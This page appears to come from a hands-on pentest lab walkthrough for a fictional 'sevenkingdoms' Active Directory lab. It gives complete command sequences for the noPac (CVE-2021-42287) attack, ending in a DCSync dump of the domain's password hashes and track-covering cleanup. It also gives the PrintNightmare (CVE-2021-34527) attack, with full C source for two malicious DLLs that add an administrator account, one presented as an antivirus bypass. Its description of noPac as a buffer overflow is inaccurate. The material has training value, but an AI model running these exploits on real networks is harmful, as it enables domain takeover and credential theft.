Skip to content

4

Exploitation with a User

With a valid domain account we can perform NTLM relay attacks as seen in the previous page. In addition to these techniques, we can also attempt to leverage newly released exploits that might not be patched yet in our target environments.

CVE-2021-42287 - NoPAC from Linux

CVE-2021-42287, also known as the samAccountName vulnerability or NoPAC, is a security flaw that affects the Windows Active Directory service. This vulnerability allows an attacker to exploit a buffer overflow in the samAccountName attribute, potentially enabling them to remotely execute arbitrary code on an affected Windows server.

In order to exploit this vulnerability we need to check if certain conditions are in place. First we need to see if we can add a computer to the domain

We can quickly do this with the machine account quota module of crackmpapexec.

Crackmapexec MAQ
crackmapexec ldap winterfell.north.sevenkingdoms.local -u 'jon.snow' -p 'iknownothing' -d north.sevenkingdoms.local -M MAQ
cme-maq

custom impacket

There a lot of Windows based tooling to abuse this vulnerability but we can also perform this attack from Linux with a modified version of impacket. pull 1202 & pull 1224

creating a custom version of impacket
git clone https://github.com/SecureAuthCorp/impacket myimpacket

cd myimpacket
python3 -m virtualenv myimpacket
source myimpacket/bin/activate

# get the latest impacket with Shutdown's @_nwodtuhs pull requests needed for this attack from linux

git fetch origin pull/1202/head:1202
git fetch origin pull/1224/head:1224

git merge 1202
git merge 1224

python3 -m pip install .

rehash

#check if renameMachine.py & getST.py are available
The exploitation steps are as follows:

  1. add a computer to domain

  2. clear the SPN of that computer

  3. rename the computer with the same name as the DC

  4. obtain a TGT for the computer

  5. reset the computer name to its original

  6. obtain a service ticket with the TGT we got previously

  7. DCSync attack for the win!

Add a new Computer
addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
addcomputer.py

Clear the SPN on samaccountname$
# https://github.com/dirkjanm/krbrelayx.git

addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
clearing spn

Rename samaccountname to DC
renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' nort.sevenkingdoms.local/jon.snow:iknownothing
renameMachine.py

Get a TGT
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
winterfell.ccache

Reset the computer name back to its original
renameMachine.py -current-name 'winterfell' -new-name 'samaccountname$' north.sevenkingdoms.local/jon.snow:iknownothing
renameMachine.py to OG

Get a service ticket with S4U2self
export KRB5CCNAME=./winterfell.ccache
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug
get-ST

DCSync with the service ticket
export KRB5CCNAME=./administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
secretsdump-winterfell-dc

And we have successfully dumped the entirety of the north.sevenkingdoms.local domain ntds.dit information!

Clean up and cover our tracks
addcomputer.py -computer-name 'samaccountname$' -delete -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH -hashes 'aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4' 'north.sevenkingdoms.local/Administrator'
deleting-samaccountname$


PrintNightmare

The PrintNightmare Windows exploit refers to a vulnerability that was discovered in the Windows Print Spooler service. It was initially disclosed in June 2021 and affected multiple versions of Windows, including both client and server operating systems. The vulnerability allowed an attacker to execute arbitrary code with system-level privileges, enabling them to take complete control of the affected system. By exploiting this vulnerability, an attacker could install programs, view, change, or delete data, and create new user accounts with full administrative rights. The exploit was particularly concerning because it could be remotely executed without any user interaction. Initially, it was believed to be a privilege escalation vulnerability (CVE-2021-1675). However, it was later revealed that the fix for this vulnerability was incomplete, and a more severe remote code execution vulnerability (CVE-2021-34527) was also present. Due to the critical nature of the vulnerability, Microsoft released emergency patches to address the issue. System administrators were strongly advised to apply the updates as soon as possible to mitigate the risk of exploitation.

Sounds like a good time to me! Lets try and exploit some servers in the lab with (CVE-2021-34527).

Check for print spooler service

First, we need to ensure that the spooler service is active. CrackMapExec has a nice built in module for this.

cme -M spooler
crackmapexec smb 192.168.10.10-23 -M spooler

cme-spooler We can also use impacket to do this in a more targeted approach.

rpcdump to check spool service
impacket-rpcdump @192.168.10.10 | egrp 'MS-RPRN|MS-PAR'

rpcdump for spooler

Lets download the exploit code.

cube0x0/CVE-2021-1675
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare

Prep our malicious dll

add local admin with printnightmare.dll
/* Adding a domain user and then promoting to local administrators group
* ./x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
*/

#include <windows.h>

int DoStuff()
{
    system("net user pnightmare1 P@ssw0rd123! /add");
    system("net localgroup administrators pnightmare /add");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
{
    switch(ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
            DoStuff();
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
} 
We can serve the dll that we created using impacket's smbserver.py and then run the exploit against the target server in a separate terminal window.

hosting the nightmare.dll on attacker smb share
impacket-smbserver -smb2support ATTACKERSHARE .
printnightmare.py
python3 cube0x0_nightmare/CVE-2021-1675.py essos.local/khal.drogo:horse@meereen.essos.local '\\10.10.10.6\ATTACKERSHARE\nightmare.dll'
In the lab the braavos.essos.local & the castelblack.north.sevenkingdoms.local servers are up to date and patched effectively for this vulnerability, but this will work on meereen.essos.local (Server 2016) and winterfell.north.sevenkingdoms.local (Server 2019). Lets start with the meereen server.

nightmare1

nightterror.dll to Bypass AV

The exploit worked and created a new user, however the account didn't get promoted to local administrator as we had hoped. Lets prep another dll that might be able to bypass the AV that is probably killing the promotion to admin.

malicious.dll take two
/*
 * ADDUSER.C: creating a Windows user programmatically.
 *
 * compile and serve
 x86_64-w64-mingw32-gcc -shared -o nightterror.dll adduser.c -lnetapi32
 */

#define UNICODE
#define _UNICODE

#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>


DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;    // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    // Create user
    memset(&ud, 0, sizeof(ud));

    ud.usri1_name        = _T("pnightmare2");                // username
    ud.usri1_password    = _T("Test123456789!");             // password
    ud.usri1_priv        = USER_PRIV_USER;                   // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags       = UF_SCRIPT | UF_NORMAL_ACCOUNT;    // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,            // local server
        1,                // information level
        (LPBYTE)&ud,
        NULL            // error value
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

   _tprintf(_T("NetUserAdd OK\r\n"), rc, rc);

    // Get user SID
    b = LookupAccountName(
        NULL,            // local server
        ud.usri1_name,   // account name
        Sid,             // SID
        &cbSid,          // SID size
        Domain,          // Domain
        &cbDomain,       // Domain size
        &snu             // SID_NAME_USE (enum)
    );

    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }

    // Add user to "Administrators" local group
    memset(&gd, 0, sizeof(gd));

    gd.lgrmi0_sid = (PSID)Sid;

    rc = NetLocalGroupAddMembers(
        NULL,                    // local server
        _T("Administrators"),
        0,                        // information level
        (LPBYTE)&gd,
        1                        // only one entry
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    return 0;
}

//
// DLL entry point.
//

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif

__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    CreateAdminUserInternal();
}

#ifdef __cplusplus
}
#endif

// Command-line entry point.
int main()
{
    return CreateAdminUserInternal();
}
We have to add an additional flag for successful compilation
x86_64-w64-mingw32-gcc -shared -o nightterror.dll adduser.c -lnetapi32
Repeating the same process as before, we bypass AV and add our user as a local administrator!

nightterror

So naturally, lets take advantage of this newfound access!

There have been some reports of the --ntds switch crashing domain controllers when using crackmapexec to dump the ntds. Recent additons to the project have added a new module to compensate for this potential disaster. It will take a lot longer to run than the older less stable method though.

dumping the ntds with cme
#crackmapexec smb meereen.essos.local -u 'pnightmare2' -p 'Test123456789!' --ntds

crackmapexec smb meereen.essos.local -u 'pnightmare2' -p 'Test123456789!' -M ntdsutil

cme-ntds

Warning

You should always cleanup after yourself during a pentest and delete any artifacts that get introduced to the environment over the course of the engagement. The malicious dlls that we created can be found at the following paths.

C:\Windows\System32\spool\drivers\x64\3
C:\Windows\System32\spool\drivers\x64\3\Old\{id}\

Tip

After repeated failures the spooler service will eventually be stopped by Microsoft Defender and you won't be able to try this exploit until a server reboot or a restart of the spooler service

Next: Exploitation of ADCS